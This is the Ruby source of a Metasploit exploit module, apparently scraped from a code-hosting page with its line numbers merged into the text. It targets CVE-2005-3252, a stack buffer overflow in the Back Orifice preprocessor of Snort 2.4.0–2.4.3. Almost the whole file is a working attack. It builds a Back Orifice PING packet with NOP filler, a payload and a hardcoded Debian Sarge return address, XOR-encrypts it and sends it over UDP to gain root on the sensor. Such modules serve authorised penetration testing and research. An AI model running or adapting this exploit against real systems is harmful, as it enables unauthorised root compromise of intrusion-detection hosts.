Path: blob/master/modules/exploits/linux/ids/snortbopre.rb
43568 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Snort Back Orifice Pre-Preprocessor Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the Back Orifice pre-processor module17included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could18be used to completely compromise a Snort sensor, and would typically gain an attacker19full root or administrative privileges.20},21'Author' => 'KaiJern Lau <xwings[at]mysec.org>',22'License' => BSD_LICENSE,23'References' => [24['CVE', '2005-3252'],25['OSVDB', '20034'],26['BID', '15131']27],28'Payload' => {29'Space' => 1073, # ret : 106930'BadChars' => "\x00"31},32'Targets' => [33# Target 0: Debian 3.1 Sarge34[35'Debian 3.1 Sarge',36{37'Platform' => 'linux',38'Ret' => 0xbffff35039}40],41],42'DefaultTarget' => 0,43'DisclosureDate' => '2005-10-18',44'Notes' => {45'Stability' => [],46'SideEffects' => [IOC_IN_LOGS],47'Reliability' => []48}49)50)5152register_options(53[54Opt::RPORT(9080),55]56)57end5859def msrand(_seed)60@holdrand = 3133761end6263def mrand64return (((@holdrand = @holdrand * (214013 & 0xffffffff) + (2531011 & 0xffffffff)) >> 16) & 0x7fff)65end6667def bocrypt(takepayload)68@arrpayload = takepayload.split(//)6970encpayload = ''71@holdrand = 072msrand(0)7374@arrpayload.each do |c|75encpayload += c.unpack('C*').map { |v| (v ^ (mrand % 256)) }.join.to_i.chr76end7778return encpayload79end8081def exploit82connect_udp8384boheader =85'*!*QWTY?' +86[1096].pack('V') + # Length, thanx Russell Sanford87"\xed\xac\xef\x0d" + # ID88"\x01" # PING8990filler = make_nops(1069 - (boheader.length + payload.encode.length))9192udp_sock.write(93bocrypt(boheader + payload.encode + filler + [target.ret].pack('V'))94)9596handler97disconnect_udp98end99end100101102